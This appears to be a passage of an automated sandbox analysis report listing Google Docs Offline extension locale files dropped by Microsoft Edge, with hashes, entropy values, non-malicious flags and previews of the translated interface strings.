Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
